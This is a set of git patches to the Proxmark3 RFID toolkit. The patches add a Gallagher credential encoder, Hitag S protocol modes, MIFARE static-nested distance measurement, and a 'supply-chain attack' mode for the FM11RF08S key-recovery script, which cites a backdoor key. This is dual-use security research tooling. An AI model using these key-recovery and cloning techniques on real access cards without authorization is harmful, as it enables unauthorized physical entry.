HF14B_ask_ct_reader(bool verbose) { return false; } -static bool HF14B_picopass_reader(bool verbose) { +bool HF14B_picopass_reader(bool verbose, bool info) { iso14b_raw_cmd_t packet = { .flags = (ISO14B_CONNECT | ISO14B_SELECT_PICOPASS | ISO14B_DISCONNECT), @@ -1437,8 +1437,10 @@ static bool HF14B_picopass_reader(bool verbose) { return false; } memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t)); - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn))); + if(info){ + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn))); + } free(card); return true; } @@ -3034,6 +3036,7 @@ int infoHF14B(bool verbose, bool do_aid_search) { // get and print general info about all known 14b chips int readHF14B(bool loop, bool verbose, bool read_plot) { bool found = false; + bool info = true; int res = PM3_SUCCESS; do { found = false; @@ -3049,7 +3052,7 @@ int readHF14B(bool loop, bool verbose, bool read_plot) { goto plot; // Picopass - found |= HF14B_picopass_reader(verbose); + found |= HF14B_picopass_reader(verbose, info); if (found) goto plot; diff --git a/client/src/cmdhf14b.h b/client/src/cmdhf14b.h index 009395ba2..067718507 100644 --- a/client/src/cmdhf14b.h +++ b/client/src/cmdhf14b.h @@ -31,4 +31,6 @@ int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int infoHF14B(bool verbose, bool do_aid_search); int readHF14B(bool loop, bool verbose, bool read_plot); +bool HF14B_picopass_reader(bool verbose, bool info); + #endif diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index f891b728c..cc78ce414 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -40,6 +40,7 @@ #include "crypto/asn1utils.h" // ASN1 decoder #include "preferences.h" #include "generator.h" +#include "cmdhf14b.h" #define NUM_CSNS 9 @@ -5379,6 +5380,11 @@ int info_iclass(bool shallow_mod) { uint8_t cardtype = get_mem_config(hdr); PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); + if(HF14B_picopass_reader(false, false)){ + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); + }else{ + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); + } if (legacy) { int res = PM3_ESOFT; From 0cd6e950b0d2b62c243141ca82a7d1cb89038d1f Mon Sep 17 00:00:00 2001 From: jakkpotts Date: Sun, 20 Oct 2024 02:47:55 -0700 Subject: [PATCH 008/155] Fixed syntax error in flags declaration in hf_young.c --- armsrc/Standalone/hf_young.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index a887c2bb5..1356e2954 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -236,7 +236,7 @@ void RunMod(void) { int button_pressed = BUTTON_HELD(1000); if (button_pressed == BUTTON_NO_CLICK) { // No button action, proceed with sim - uint16_t flags = 0 + uint16_t flags = 0; FLAG_SET_UID_IN_DATA(flags, 4); uint8_t data[PM3_CMD_DATA_SIZE] = {0}; // in case there is a read command received we shouldn't break From 177be842bd82ee365ad7b5856d10b6d9a018b283 Mon Sep 17 00:00:00 2001 From: jakkpotts Date: Sun, 20 Oct 2024 02:51:53 -0700 Subject: [PATCH 009/155] Added changelog entry for fixing syntax on hf_young --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 447280308..b77839ee8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed 'hf_young.c' - flags declaration was missing a semicolon (@jakkpotts) - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) - Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) - Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) From 70cc7765f373c3ecc1b13ce16580826891dade4f Mon Sep 17 00:00:00 2001 From: Adam Jon Foster Date: Mon, 21 Oct 2024 23:16:05 +0800 Subject: [PATCH 010/155] Update cmdhfgallagher.c Added CmdGallagherEncode to allow someone to encode their own credentials into a raw and bitwise format without having it go onto a specific technology type. Signed-off-by: Adam Jon Foster --- client/src/cmdhfgallagher.c | 47 +++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/client/src/cmdhfgallagher.c b/client/src/cmdhfgallagher.c index b83bfd455..4165856b0 100644 --- a/client/src/cmdhfgallagher.c +++ b/client/src/cmdhfgallagher.c @@ -1311,6 +1311,52 @@ static int CmdGallagherDecode(const char *cmd) { return PM3_SUCCESS; } +static int CmdGallagherEncode (const char *cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gallagher encode", + "Encode a Gallagher credential block\n" + "Credential block can be specified with or without the bitwise inverse.", + "hf gallagher encode --rc 1 --fc 22153 --cn 1253518 --il 1" + ); + + void *argtable[] = { + arg_param_begin, + arg_u64_1("r", "rc", "", "Region code. 4 bits max"), + arg_u64_1("f", "fc", "", "Facility code. 2 bytes max"), + arg_u64_1("c", "cn", "", "Card number. 3 bytes max"), + arg_u64_1("i", "il", "", "Issue level. 4 bits max"), + arg_param_end + }; + CLIExecWithReturn(ctx, cmd, argtable, false); + + uint64_t region_code = arg_get_u64(ctx, 1); // uint4, input will be validated later + uint64_t facility_code = arg_get_u64(ctx, 2); // uint16 + uint64_t card_number = arg_get_u64(ctx, 3); // uint24 + uint64_t issue_level = arg_get_u64(ctx, 4); // uint4 + + CLIParserFree(ctx); + + GallagherCredentials_t creds = { + .region_code = region_code, + .facility_code = facility_code, + .card_number = card_number, + .issue_level = issue_level, + }; + + + uint8_t contents[16] = {0}; + + gallagher_encode_creds(contents, &creds); + for (int i = 0; i < 8; i++) { + contents[i + 8] = contents[i] ^ 0xFF; + } + + PrintAndLogEx(SUCCESS, "Raw: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents)/2)); + PrintAndLogEx(SUCCESS, "Bitwise: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents))); + + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, @@ -1319,6 +1365,7 @@ static command_t CommandTable[] = { {"delete", CmdGallagherDelete, IfPm3Iso14443, "Delete Gallagher credentials from a DESFire card"}, {"diversifykey", CmdGallagherDiversify, AlwaysAvailable, "Diversify Gallagher key"}, {"decode", CmdGallagherDecode, AlwaysAvailable, "Decode Gallagher credential block"}, + {"encode", CmdGallagherEncode, AlwaysAvailable, "Encode Gallagher credential block"}, {NULL, NULL, NULL, NULL} }; From 284f0fe9b9ff0a01f5324742b3861caca166d292 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 22 Oct 2024 15:50:46 +0200 Subject: [PATCH 011/155] Fix compilation warning on some compilation environments --- client/src/cmdhfmf.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index d252cdac3..dc10cb8c9 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -4131,15 +4131,12 @@ static int CmdHF14AMfSim(const char *Cmd) { uint8_t uid[10] = {0}; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - char uidsize[9] = {0}; if (uidlen > 0) { FLAG_SET_UID_IN_DATA(flags, uidlen); if (IS_FLAG_UID_IN_EMUL(flags)) { PrintAndLogEx(WARNING, "Invalid parameter for UID"); CLIParserFree(ctx); return PM3_EINVARG; - } else { - snprintf(uidsize, sizeof(uidsize), "%i bytes", uidlen); } } @@ -4247,9 +4244,9 @@ static int CmdHF14AMfSim(const char *Cmd) { } } - PrintAndLogEx(INFO, _YELLOW_("MIFARE %s") " | %s UID " _YELLOW_("%s") "" + PrintAndLogEx(INFO, _YELLOW_("MIFARE %s") " | %i bytes UID " _YELLOW_("%s") "" , csize - , uidsize + , uidlen , (uidlen == 0) ? "n/a" : sprint_hex(uid, uidlen) ); From 5ff157cb4cb19d998fc133aee1d94446d2d56b6a Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 23 Oct 2024 00:10:22 +0200 Subject: [PATCH 012/155] fm11rf08s_recovery: add support for supply-chain --- client/pyscripts/fm11rf08s_recovery.py | 57 ++++++++++++++++++++++---- 1 file changed, 50 insertions(+), 7 deletions(-) diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 3368749a1..e85153fa3 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -191,6 +191,25 @@ if os.path.isfile(DICT_DEF_PATH): else: print(f"Warning, {DICT_DEF} not found.") +dict_dnwd = None +def_nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] +try: + default_nonces_with_data = f'{save_path}hf-mf-{uid:04X}-default_nonces_with_data.json' + with open(default_nonces_with_data, 'r') as file: + # Load and parse the JSON data + dict_dnwd = json.load(file) + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + def_nt[sec][0] = dict_dnwd["nt"][f"{real_sec}"]["a"].lower() + def_nt[sec][1] = dict_dnwd["nt"][f"{real_sec}"]["b"].lower() + print(f"Loaded default nonces from {default_nonces_with_data}.") +except FileNotFoundError: + pass +except json.decoder.JSONDecodeError: + print(f"Error parsing {default_nonces_with_data}, skipping.") + print("Running staticnested_1nt & 2x1nt when doable...") keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] all_keys = set() @@ -225,9 +244,21 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): keys[sec][key_type] = keys_set.copy() duplicates.update(all_keys.intersection(keys_set)) all_keys.update(keys_set) - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec][key_type], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] + if args.debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + if "MATCH:" in line: + keys_def_set.add(line[12:]) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) # Prioritize sector 32 keyB starting with 0000 if real_sec == 32: keyb32cands = set(x for x in keys_set if x.startswith("0000")) @@ -257,9 +288,21 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): keys[sec][key_type] = keys_set.copy() duplicates.update(all_keys.intersection(keys_set)) all_keys.update(keys_set) - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec][key_type], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] + if args.debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + if "MATCH:" in line: + keys_def_set.add(line[12:]) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) if len(keys_def_set) > 0: found_default[sec][key_type] = True with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f: @@ -484,6 +527,7 @@ if abort: print("Brute-forcing phase aborted via keyboard!") args.final_check = False +plus = "[" + color("+", fg="green") + "] " if args.final_check: print("Letting fchk do a final dump, just for confirmation and display...") keys_set = set([i for sl in found_keys for i in sl if i != ""]) @@ -495,7 +539,6 @@ if args.final_check: print(cmd) p.console(cmd, passthru=True) else: - plus = "[" + color("+", fg="green") + "] " print() print(plus + color("found keys:", fg="green")) print() From 846937a684447cf0d836c0b7df46e1495afd7896 Mon Sep 17 00:00:00 2001 From: Simone Spadino Date: Wed, 23 Oct 2024 00:24:07 +0200 Subject: [PATCH 013/155] Support for static nonces card with offset 0 --- armsrc/mifarecmd.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 96f615c64..6be8f230b 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1534,7 +1534,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, continue; }; - if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, NULL, NULL)) { + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, NULL)) { continue; }; @@ -1544,6 +1544,12 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, }; nt3 = bytes_to_num(receivedAnswer, 4); + // fix for cards with distance 0 + if (nt1 == nt2) { + target_nt[0] = nt1; + target_nt[1] = nt1; + target_ks[0] = nt3 ^ target_nt[0]; + } target_ks[1] = nt3 ^ target_nt[1]; isOK = PM3_SUCCESS; From e22fd8580da13a95ad517db91260cbdcc0a99366 Mon Sep 17 00:00:00 2001 From: Simone Spadino Date: Wed, 23 Oct 2024 00:34:58 +0200 Subject: [PATCH 014/155] Shadow mode support for 06a0 --- client/luascripts/hf_mf_ultimatecard.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/luascripts/hf_mf_ultimatecard.lua b/client/luascripts/hf_mf_ultimatecard.lua index 26a5aaee2..09040eea5 100644 --- a/client/luascripts/hf_mf_ultimatecard.lua +++ b/client/luascripts/hf_mf_ultimatecard.lua @@ -191,7 +191,7 @@ local function read_config() if magicconfig == nil then lib14a.disconnect(); return nil, "can't read configuration, "..err_lock end if #magicconfig ~= 64 and #magicconfig ~= 68 then lib14a.disconnect(); return nil, "partial read of configuration, "..err_lock end if gtumode == '00' then gtustr = 'Pre-write/Shadow Mode' - elseif gtumode == '01' then gtustr = 'Restore Mode' + elseif gtumode == '01' or gtumode == '04' then gtustr = 'Restore Mode' elseif gtumode == '02' then gtustr = 'Disabled' elseif gtumode == '03' then gtustr = 'Disabled, high speed R/W mode for Ultralight' end @@ -553,7 +553,7 @@ local function write_gtu(gtu) if gtu == '00' then print('Enabling GTU Pre-Write') send('CF'.._key..'32'..gtu) - elseif gtu == '01' then + elseif gtu == '01' or gtu == '04' then print('Enabling GTU Restore Mode') send('CF'.._key..'32'..gtu) elseif gtu == '02' then From 6034f113ed520863f94a8678a72b1206ec4d535a Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 23 Oct 2024 00:43:14 +0200 Subject: [PATCH 015/155] fm11rf08s_recovery: add support for supply-chain (now shorter json) --- client/pyscripts/fm11rf08s_recovery.py | 39 +++++++++++++------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index e85153fa3..71f785111 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -76,6 +76,10 @@ parser.add_argument('-x', '--init-check', action='store_true', help='Run an init parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing') parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') +parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json') +# Such json can be produced from the json saved by +# "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with +# jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}' args = parser.parse_args() start_time = time.time() @@ -192,23 +196,20 @@ else: print(f"Warning, {DICT_DEF} not found.") dict_dnwd = None -def_nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -try: - default_nonces_with_data = f'{save_path}hf-mf-{uid:04X}-default_nonces_with_data.json' - with open(default_nonces_with_data, 'r') as file: - # Load and parse the JSON data - dict_dnwd = json.load(file) - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - def_nt[sec][0] = dict_dnwd["nt"][f"{real_sec}"]["a"].lower() - def_nt[sec][1] = dict_dnwd["nt"][f"{real_sec}"]["b"].lower() - print(f"Loaded default nonces from {default_nonces_with_data}.") -except FileNotFoundError: - pass -except json.decoder.JSONDecodeError: - print(f"Error parsing {default_nonces_with_data}, skipping.") +def_nt = ["" for _ in range(NUM_SECTORS)] +if args.supply_chain: + try: + default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json' + with open(default_nonces, 'r') as file: + # Load and parse the JSON data + dict_dnwd = json.load(file) + for sec in range(NUM_SECTORS): + def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() + print(f"Loaded default nonces from {default_nonces}.") + except FileNotFoundError: + pass + except json.decoder.JSONDecodeError: + print(f"Error parsing {default_nonces}, skipping.") print("Running staticnested_1nt & 2x1nt when doable...") keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] @@ -246,7 +247,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): all_keys.update(keys_set) if dict_dnwd is not None and sec < NUM_SECTORS: # Prioritize keys from supply-chain attack - cmd = [tools["staticnested_2x1nt1key"], def_nt[sec][key_type], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] if args.debug: print(' '.join(cmd)) result = subprocess.run(cmd, capture_output=True, text=True).stdout @@ -290,7 +291,7 @@ for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): all_keys.update(keys_set) if dict_dnwd is not None and sec < NUM_SECTORS: # Prioritize keys from supply-chain attack - cmd = [tools["staticnested_2x1nt1key"], def_nt[sec][key_type], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] if args.debug: print(' '.join(cmd)) result = subprocess.run(cmd, capture_output=True, text=True).stdout From 212f108a915e9c936208a71c18744bf4cbc6cbd7 Mon Sep 17 00:00:00 2001 From: Simone Spadino Date: Wed, 23 Oct 2024 11:53:49 +0200 Subject: [PATCH 016/155] Auto distance measurement --- armsrc/mifarecmd.c | 38 ++++++++++++++++++++++++++++---------- 1 file changed, 28 insertions(+), 10 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 6be8f230b..e2d985096 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1465,7 +1465,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, LEDsoff(); uint64_t ui64Key = bytes_to_num(key, 6); - uint16_t len; + uint16_t len, dist1 = 160, dist2 = 320; uint8_t uid[10] = { 0x00 }; uint32_t cuid = 0, nt1 = 0, nt2 = 0, nt3 = 0; uint32_t target_nt[2] = {0x00}, target_ks[2] = {0x00}; @@ -1491,6 +1491,30 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, // Main loop - get crypted nonces for target sector for (uint8_t rtr = 0; rtr < 2; rtr++) { + // distance measurement + if (mifare_classic_halt(pcs)) { + continue; + } + + if (iso14443a_select_card(uid, NULL, &cuid, true, 0, true) == false) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, NULL)) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt3, NULL)) { + continue; + }; + + dist1 = nonce_distance(nt1, nt2); + dist2 = nonce_distance(nt1, nt3); + if (mifare_classic_halt(pcs)) { continue; } @@ -1509,8 +1533,8 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, target_nt[0] = prng_successor(nt1, 161); target_nt[1] = prng_successor(nt1, 321); } else { - target_nt[0] = prng_successor(nt1, 160); - target_nt[1] = prng_successor(nt1, 320); + target_nt[0] = prng_successor(nt1, dist1); + target_nt[1] = prng_successor(nt1, dist2); } len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + (targetKeyType & 0xF), targetBlockNo, receivedAnswer, sizeof(receivedAnswer), par, NULL); @@ -1534,7 +1558,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, continue; }; - if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, NULL)) { + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, NULL, NULL)) { continue; }; @@ -1544,12 +1568,6 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, }; nt3 = bytes_to_num(receivedAnswer, 4); - // fix for cards with distance 0 - if (nt1 == nt2) { - target_nt[0] = nt1; - target_nt[1] = nt1; - target_ks[0] = nt3 ^ target_nt[0]; - } target_ks[1] = nt3 ^ target_nt[1]; isOK = PM3_SUCCESS; From 911766b21284a3c9eb22f05bb43be7f5bb4d1e1f Mon Sep 17 00:00:00 2001 From: douniwan5788 Date: Wed, 23 Oct 2024 21:43:02 +0800 Subject: [PATCH 017/155] add: support for all Hitag S response protocol mode --- CHANGELOG.md | 1 + armsrc/hitagS.c | 340 +++++++++++++++++-------------------- client/src/cmdlfhitaghts.c | 36 +++- include/hitag.h | 61 +++---- 4 files changed, 217 insertions(+), 221 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 447280308..349f0b154 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added support for all Hitag S response protocol mode (@douniwan5788) - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) - Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) - Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index edee23a4d..d4ad4dd2c 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -65,6 +65,7 @@ typedef enum modulation { MC8K } MOD; +static uint8_t protocol_mode = HITAGS_UID_REQ_ADV1; static MOD m = AC2K; // used modulation static uint32_t reader_selected_uid; static int rotate_uid = 0; @@ -383,18 +384,17 @@ static void hts_init_clock(void) { // Disable timer during configuration hts_stop_clock(); - // TC0: Capture mode, clock source = MCK/32 (TIMER_CLOCK3), no triggers + // TC0: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; - // TC1: Capture mode, clock source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, - // external trigger falling edge, set RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = - AT91C_TC_CLKS_TIMER_DIV3_CLOCK | // MCK/32 (TIMER_CLOCK3) - AT91C_TC_ETRGEDG_FALLING | // external trigger on falling edge - AT91C_TC_ABETRG | // TIOA is used as an external trigger - AT91C_TC_LDRA_FALLING; // load RA on on falling edge + // TC1: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK // use MCK/32 (TIMER_CLOCK3) + | AT91C_TC_ABETRG // TIOA is used as an external trigger + | AT91C_TC_ETRGEDG_FALLING // external trigger on falling edge + | AT91C_TC_LDRA_RISING // load RA on on rising edge of TIOA + | AT91C_TC_LDRB_FALLING; // load RB on on falling edge of TIOA - // TC2: Capture mode, clock source = MCK/32 (TIMER_CLOCK3), no triggers + // TC2: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; // Enable and reset counters @@ -429,24 +429,35 @@ static int check_select(const uint8_t *rx, uint32_t uid) { return 0; } -static void hts_set_frame_modulation(void) { - switch (tag.mode) { - case HT_STANDARD: { +static void hts_set_frame_modulation(uint8_t mode, bool ac_seq) { + switch (mode) { + case HITAGS_UID_REQ_STD: { sof_bits = 1; - m = MC4K; + if (ac_seq) + m = AC2K; + else + m = MC4K; break; } - case HT_ADVANCED: { - sof_bits = 6; - m = MC4K; + case HITAGS_UID_REQ_ADV1: + case HITAGS_UID_REQ_ADV2: { + if (ac_seq) { + sof_bits = 3; + m = AC2K; + } else { + sof_bits = 6; + m = MC4K; + } break; } - case HT_FAST_ADVANCED: { - sof_bits = 6; - m = MC8K; - break; - } - default: { + case HITAGS_UID_REQ_FADV: { + if (ac_seq) { + sof_bits = 3; + m = AC4K; + } else { + sof_bits = 6; + m = MC8K; + } break; } } @@ -463,7 +474,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, // Reset the transmission frame length *txlen = 0; // Reset the frame modulation - hts_set_frame_modulation(); + hts_set_frame_modulation(protocol_mode, false); // Try to find out which command was send by selecting on length (in bits) switch (rxlen) { @@ -475,24 +486,15 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, if (rx[0] == HITAGS_UID_REQ_STD) { DBG Dbprintf("HT_STANDARD"); - tag.mode = HT_STANDARD; - sof_bits = 1; - m = AC2K; - } - - if (rx[0] == HITAGS_UID_REQ_ADV1 || rx[0] == HITAGS_UID_REQ_ADV2) { + } else if (rx[0] == HITAGS_UID_REQ_ADV1 || rx[0] == HITAGS_UID_REQ_ADV2) { DBG Dbprintf("HT_ADVANCED"); - tag.mode = HT_ADVANCED; - sof_bits = 3; - m = AC2K; + } else if (rx[0] == HITAGS_UID_REQ_FADV) { + DBG Dbprintf("HT_FAST_ADVANCED"); } - if (rx[0] == HITAGS_UID_REQ_FADV) { - DBG Dbprintf("HT_FAST_ADVANCED"); - tag.mode = HT_FAST_ADVANCED; - sof_bits = 3; - m = AC4K; - } + protocol_mode = rx[0]; + hts_set_frame_modulation(protocol_mode, true); + //send uid as a response *txlen = 32; memcpy(tx, tag.data.pages[HITAGS_UID_PADR], HITAGS_PAGE_SIZE); @@ -515,7 +517,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, tx[3] = 0xff; - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 *txlen += 8; crc = CRC_PRESET; @@ -549,7 +551,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, tx[2] = ht2_hitag2_byte(&state) ^ tag.data.s.pwdl0; tx[3] = ht2_hitag2_byte(&state) ^ tag.data.s.pwdl1; - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 *txlen += 8; crc = CRC_PRESET; @@ -616,7 +618,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, tx[3] = 0xFF; } - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 *txlen += 8; crc = CRC_PRESET; @@ -638,7 +640,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, //send page,...,page+3 data memcpy(tx, tag.data.pages[page], *txlen / 8); - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 crc = CRC_PRESET; for (int i = 0; i < *txlen / 8; i++) { @@ -751,40 +753,7 @@ void hts_simulate(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol) { // Disable modulation at default, which means release resistance LOW(GPIO_SSC_DOUT); - // Enable Peripheral Clock for - // Timer Counter 0, used to measure exact timing before answering - // Timer Counter 1, used to capture edges of the tag frames - // Timer Counter 2, used to log trace time - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - hts_stop_clock(); - - // TC0: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; - - // TC1: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, - // external 